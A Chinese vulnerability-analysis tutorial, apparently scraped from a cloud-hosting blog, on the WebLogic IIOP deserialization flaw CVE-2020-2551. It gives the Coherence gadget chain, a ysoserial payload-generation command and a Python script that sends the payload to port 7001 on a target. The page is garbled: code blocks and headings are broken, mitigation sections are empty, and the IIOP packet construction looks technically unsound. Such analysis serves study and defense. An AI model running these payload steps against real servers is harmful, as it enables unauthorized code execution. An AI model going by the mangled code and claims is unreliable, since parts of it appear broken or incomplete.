您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞分析
## 一、漏洞概述
CVE-2020-2551是Oracle WebLogic Server在2020年1月关键补丁更新中修复的严重反序列化漏洞,CVSS评分高达9.8。该漏洞存在于WebLogic的IIOP(Internet Inter-ORB Protocol)协议实现中,允许未经身份验证的攻击者通过构造恶意的IIOP请求实现远程代码执行(RCE)。
### 影响版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.3
- WebLogic 12.2.1.4
## 二、技术背景
### 1. IIOP协议
IIOP是基于CORBA的通信协议,WebLogic使用该协议实现分布式对象间的通信。IIOP传输过程中会涉及对象的序列化与反序列化操作。
### 2. 反序列化漏洞机制
当Java应用对不可信的序列化数据进行反序列化时,攻击者可通过构造包含恶意代码的`gadget chains`(利用链)实现任意代码执行。WebLogic在IIOP处理过程中未对反序列化对象进行充分校验。
### 3. JNDI注入
漏洞利用过程中涉及JNDI(Java Naming and Directory Interface)注入技术,通过`InitialContext.lookup()`方法加载远程恶意类。
## 三、漏洞分析
### 1. 漏洞触发点
漏洞位于`weblogic.iiop.Utils`类的`readObject`方法中:
```java
public static Object readObject(InputStream is)
throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(is);
return ois.readObject(); // 危险的反序列化操作
}
BadAttributeValueExpException
作为入口点Coherence
库中的LimitFilter
类构造利用链Runtime.getRuntime().exec()
// 反序列化入口点
javax.management.BadAttributeValueExpException
// 关键利用类
com.tangosol.util.filter.LimitFilter
com.tangosol.util.extractor.ReflectionExtractor
# 启动WebLogic时添加调试参数
DOMN_HOME/bin/startWebLogic.sh -debug
java -jar ysoserial.jar Coherence2 "touch /tmp/pwned" > payload.ser
import socket
import struct
def build_iiop_payload(ser_data):
# 构造IIOP协议头
header = b"GIOP\x01\x02\x00\x00\x00\x00\x00\x00"
# 添加序列化payload
payload = header + ser_data
return payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 7001))
s.send(build_iiop_payload(open("payload.ser","rb").read()))
readObject:68, Utils (weblogic.iiop)
read_value:1299, ValueHandlerImpl (weblogic.iiop)
read_value_internal:349, CDRInputStream (weblogic.iiop)
read_value:313, CDRInputStream (weblogic.iiop)
...
BadAttributeValueExpException.readObject (javax.management)
Oracle通过以下方式修复:
1. 在weblogic.iiop.Utils
中添加反序列化白名单
2. 禁止反序列化com.tangosol
相关类
补丁关键代码:
// 新增校验逻辑
if (className.startsWith("com.tangosol")) {
throw new InvalidObjectException("Forbidden class");
}
立即措施:
长期防护:
<!-- 在weblogic.xml中配置 -->
<container-descriptor>
<filter-serialization>true</filter-serialization>
</container-descriptor>
防御架构:
CVE-2020-2551展示了企业级中间件中协议实现的安全风险。通过分析我们可以得出:
该漏洞的分析过程也为研究其他IIOP实现(如JBOSS、GlassFish)的反序列化问题提供了参考方法。
”`
注:本文为技术研究用途,实际漏洞利用可能涉及法律风险,请确保在授权环境下进行测试。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。